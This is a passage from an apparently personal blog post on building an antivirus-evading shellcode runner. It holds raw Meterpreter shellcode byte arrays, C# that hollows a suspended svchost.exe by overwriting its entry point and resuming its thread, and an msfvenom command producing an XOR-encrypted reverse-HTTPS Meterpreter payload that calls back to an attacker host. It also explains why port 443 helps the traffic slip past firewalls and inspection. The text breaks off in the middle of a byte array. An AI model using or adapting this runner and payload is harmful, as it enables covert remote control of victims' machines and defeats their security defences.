class="m">0x53</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x4a</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x70</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x67</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x6e</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x61</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x76</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x4f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x64</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x45</span><span class="p">,</span> <span class="m">0x63</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x69</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x47</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x65</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x51</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x76</span><span class="p">,</span> <span class="m">0x6f</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x54</span><span class="p">,</span> <span class="m">0x57</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x84</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x50</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x2e</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xc6</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x5f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x52</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x80</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x04</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x9e</span><span class="p">,</span> <span class="m">0x86</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x4d</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0xc9</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc2</span><span class="p">,</span> <span class="m">0x2d</span><span class="p">,</span> <span class="m">0x06</span><span class="p">,</span> <span class="m">0x18</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0x88</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x44</span><span class="p">,</span> <span class="m">0xf0</span><span class="p">,</span> <span class="m">0x35</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xcf</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0xeb</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0xe8</span><span class="p">,</span> <span class="m">0x55</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xd1</span><span class="p">,</span> <span class="m">0xc1</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x10</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0xa4</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0xe5</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x93</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x53</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe7</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xda</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xc7</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x49</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x12</span><span class="p">,</span> <span class="m">0x96</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xe2</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x83</span><span class="p">,</span> <span class="m">0xc4</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x74</span><span class="p">,</span> <span class="m">0xb2</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x07</span><span class="p">,</span> <span class="m">0x48</span><span class="p">,</span> <span class="m">0x01</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xd2</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0xc3</span><span class="p">,</span> <span class="m">0x58</span><span class="p">,</span> <span class="m">0x6a</span><span class="p">,</span> <span class="m">0x00</span><span class="p">,</span> <span class="m">0x59</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xe0</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x0a</span><span class="p">,</span> <span class="m">0x41</span><span class="p">,</span> <span class="m">0x89</span><span class="p">,</span> <span class="m">0xda</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xd5</span> <span class="p">};</span>
            <span class="c1">//We have obtained the address of the EntryPoint so we can generate our Meterpreter shellcode and use WriteProcessMemory to overwrite the existing code</span>
            <span class="nf">WriteProcessMemory</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span> <span class="n">addressOfEntryPoint</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="n">buf</span><span class="p">.</span><span class="n">Length</span><span class="p">,</span> <span class="k">out</span> <span class="n">nRead</span><span class="p">);</span>
            <span class="c1">//When CreateProcessW started svchost.exe and populated the PROCESS_INFORMATION structure, it also copied the handle of the main thread into it.</span>
            <span class="c1">//Thus we can call the handle of the thread directly as the argument to ResumeThread</span>
            <span class="nf">ResumeThread</span><span class="p">(</span><span class="n">pi</span><span class="p">.</span><span class="n">hThread</span><span class="p">);</span>
            <span class="c1">//We now have all the pieces to create a suspended process, hollow out its original code, replace it with our shellcode, and subsequently execute it. </span>
</code></pre></div></div>

<p><em>Bada bing bada boom</em>, we now have a working process hollowing shellcode runner.</p>

<p>Still with me? Okay, cool, now we get to the actual research, implementing antivirus evasion.</p>

<h2 id="the-journey-begins-encrypting-the-payload">The Journey Begins: Encrypting the Payload</h2>

<p>To begin, let’s look at the initial process hollowing shellcode runner’s detection rate for a baseline comparison.</p>

<p>To test each version of the shellcode runner without distributing the findings, I used <a href="https://kleenscan.com/index">KleenScan</a>.</p>

<p>This service performs scan-time testing against 40 different antivirus engines, but most importantly, it doesn’t distribute.</p>

<p>Also, the PE file’s name will change in several of these screenshots. This is because I made numerous versions of the shellcode runner during testing. The date of the scan may also change, as I had to go back to get screenshots when writing this post.</p>

<p>So, how does the initial shellcode runner hold up?</p>

<p><img src="/assets/images/baseline-results-742x1024.png" alt="baseline-results" /></p>

<p>Well, the answer is… not very well.</p>

<p>This leaves <em>plenty</em> of room for improvement.</p>

<p>The first addition that can be made is XOR encrypting our MSFVenom shellcode to hopefully bypass signature detection.</p>

<p>We will generate the new XOR encrypted payload with the following command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>msfvenom <span class="nt">-p</span> windows/x64/meterpreter/reverse_https <span class="nv">LHOST</span><span class="o">=</span>192.168.x.x <span class="nv">LPORT</span><span class="o">=</span>443 <span class="nv">EXITFUNC</span><span class="o">=</span>thread <span class="nt">-f</span> csharp <span class="nt">--encrypt</span> xor <span class="nt">--encrypt-key</span> z <span class="nt">-i</span> 20 | <span class="nb">tr</span> <span class="nt">-d</span> <span class="s1">'\n\r'</span> 
</code></pre></div></div>

<p>I chose to use the payload:</p>

<p><strong>windows/x64/meterpreter/reverse_https</strong></p>

<p>Because this payload utilizes HTTPS for the network communication between the victim machine and the attacker machine.</p>

<p>Using HTTPS with port 443, we can better disguise our malicious network traffic by blending in with normal network traffic.</p>

<p>Additionally, the communication is, of course, encrypted with TLS.</p>

<p>This should help bypass network firewalls, egress filters, and packet/protocol inspection.</p>

<p>We then append the flags and arguments:</p>

<p><strong>–encrypt xor</strong></p>

<p><strong>–encrypt-key z</strong></p>

<p><strong>-i 20</strong></p>

<p>This will cause the outputted shellcode to be XOR encrypted, with the XOR encryption key set to the ASCII character “z”, and will iterate the encryption 20 times.</p>

<p>Lastly, to make things a little cleaner, I pipe the output to the “tr” command with the “-d” flag with the argument “\n\r”.</p>

<p>This eliminates any newlines or returns in the output, thus allowing us to be able to copy and paste the generated byte array as a single line.</p>

<p>With the XOR encrypted payload created, we will implement it into the C# shellcode runner:</p>

<div class="language-csharp highlighter-rouge"><div class="highlight"><pre class="highlight"><code>            <span class="c1">// Generate XOR shellcode with MSFVenom: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.x.x LPORT=443 EXITFUNC=thread -f csharp --encrypt xor --encrypt-key z -i 20 | tr -d '\n\r'</span>
            <span class="kt">byte</span><span class="p">[]</span> <span class="n">buf</span> <span class="p">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="p">[</span><span class="m">809</span><span class="p">]</span> <span class="p">{</span> <span class="m">0x86</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x9e</span><span class="p">,</span> <span class="m">0x8a</span><span class="p">,</span> <span class="m">0x92</span><span class="p">,</span> <span class="m">0xb6</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xa8</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x1a</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xcd</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x30</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x1b</span><span class="p">,</span> <span class="m">0x06</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x56</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x98</span><span class="p">,</span> <span class="m">0x97</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2b</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x38</span><span class="p">,</span> <span class="m">0x46</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0xfb</span><span class="p">,</span> <span class="m">0x02</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x71</span><span class="p">,</span> <span class="m">0x78</span><span class="p">,</span> <span class="m">0x75</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0x08</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0xfa</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xff</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x1d</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x62</span><span class="p">,</span> <span class="m">0x2a</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x99</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x4e</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xac</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0xd6</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x77</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xbb</span><span class="p">,</span> <span class="m">0x42</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0x8b</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x79</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x5e</span><span class="p">,</span> <span class="m">0x72</span><span class="p">,</span> <span class="m">0x3f</span><span class="p">,</span> <span class="m">0x43</span><span class="p">,</span> <span class="m">0xab</span><span class="p">,</span> <span class="m">0x0f</span><span class="p">,</span> <span class="m">0xa2</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x5e</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x1c</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x76</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x3e</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x3a</span><span class="p">,</span> <span class="m">0x66</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x7e</span><span class="p">,</span> <span class="m">0xf2</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x7b</span><span class="p">,</span> <span class="m">0xaa</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x24</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf9</span><span class="p">,</span> <span class="m">0x96</span><span class="p">,</span> <span class="m">0x5a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x28</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x9a</span><span class="p">,</span> <span class="m">0x22</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x23</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf1</span><span class="p">,</span> <span class="m">0x68</span><span class="p">,</span> <span class="m">0x93</span><span class="p">,</span> <span class="m">0x31</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0x27</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xa1</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc4</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x14</span><span class="p">,</span> <span class="m">0x13</span><span class="p">,</span> <span class="m">0x14</span><span class="p">,</span> <span class="m">0x1f</span><span class="p">,</span> <span class="m">0x0e</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x3b</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xbd</span><span class="p">,</span> <span class="m">0xb8</span><span class="p">,</span> <span class="m">0x36</span><span class="p">,</span> <span class="m">0x0d</span><span class="p">,</span> <span class="m">0x5c</span><span class="p">,</span> <span class="m">0x7d</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> <span class="m">0xaf</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x32</span><span class="p">,</span> <span class="m">0xf3</span><span class="p">,</span> <span class="m">0x9b</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x20</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xba</span><span class="p">,</span> <span class="m">0x37</span><span class="p">,</span> <span class="m">0x4b</span><span class="p">,</span> <span class="m">0xb3</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x29</span><span class="p">,</span> <span class="m">0x33</span><span class="p">,</span> <span class="m">0xc0</span><span class="p">,</span> <span class="m">0x40</span><span class="p">,</span> <span class="m">0x2c</span><span class="p">,</span> <span class="m">0x03</span><span class="p">,</span> <span class="m">0xdd</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x7a</span><span class="p">,</span> <span class="m">0x85</span><span class="p">,</span> 